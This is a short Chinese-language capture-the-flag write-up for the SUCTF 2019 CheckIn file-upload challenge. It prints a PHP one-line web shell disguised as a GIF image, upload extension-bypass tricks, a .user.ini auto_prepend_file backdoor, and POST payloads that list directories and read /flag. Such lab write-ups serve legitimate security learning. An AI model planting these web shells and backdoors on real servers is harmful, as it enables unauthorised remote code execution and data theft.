BUUCTF [SUCTF 2019]CheckIn 1
文件包含,一句话木马上传。
直接上传一句话木马<?php eval($_POST['a']);?>
非法后缀
那就改后缀绕过,通常有phtml php3 php4 php5 Php php (空格) php pphphp
都试试,都不行。
这时候可以用图片上传。
在一个文件夹中随便复制粘贴来一张照片,创建一个txt文本,输入
GIF89a
<script language=php>eval($_POST['a']);</script>
因为就算是png,jpg等图片类型,还会检查文件内容头,所以用GIF89a
用script是因为过滤了<?
改后缀名为png,上传
(如果随便用一个图片在命令提示符里输入copy xx.png/b + xx.php/a script_a.png
再上传script_a.png会报<?错,因为图片转码后含有<?用burp抓包可见)
your dir....
是你上传在后台的目录路径
your file
是该目录下有什么文件,有index.php 和 12.png
试试用蚁剑连接buuoj.cn/uploads/261fb642ce1427b99b76a1627f2a8907/12.png
连不上(why?)。试试用网页post,不行。因为绝大多数web服务器,都不允许静态文件响应POST请求。
这时index.php就有用了。
当服务器给后台返回php页面时,会按照一个php设置规定来返回页面
用.user.ini
可以在客户端规定这个设置。当我们访问index.php时,这个index.php会自动包含.user.ini,而我们设置这个配置文件,就可以插入后门或其他操作。具体参考user.ini文件构成的PHP后门
新建txt,输入
GIF89a
auto_prepend_file=12.png
改后缀名为.user.ini
访问.buuoj.cn/uploads/261fb642ce1427b99b76a1627f2a8907/index.php
让index.php包含12.png,用蚁剑连接。
或者在网页上posta=var_dump(scandir("/"));
然后posta=var_dump(file_get_contents("/flag"));
或者在12.png里的代码换为
GIF89a
<script language='php'>system('cat /flag');</script>
那么访问index.php时会自动显示flag
参考
[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn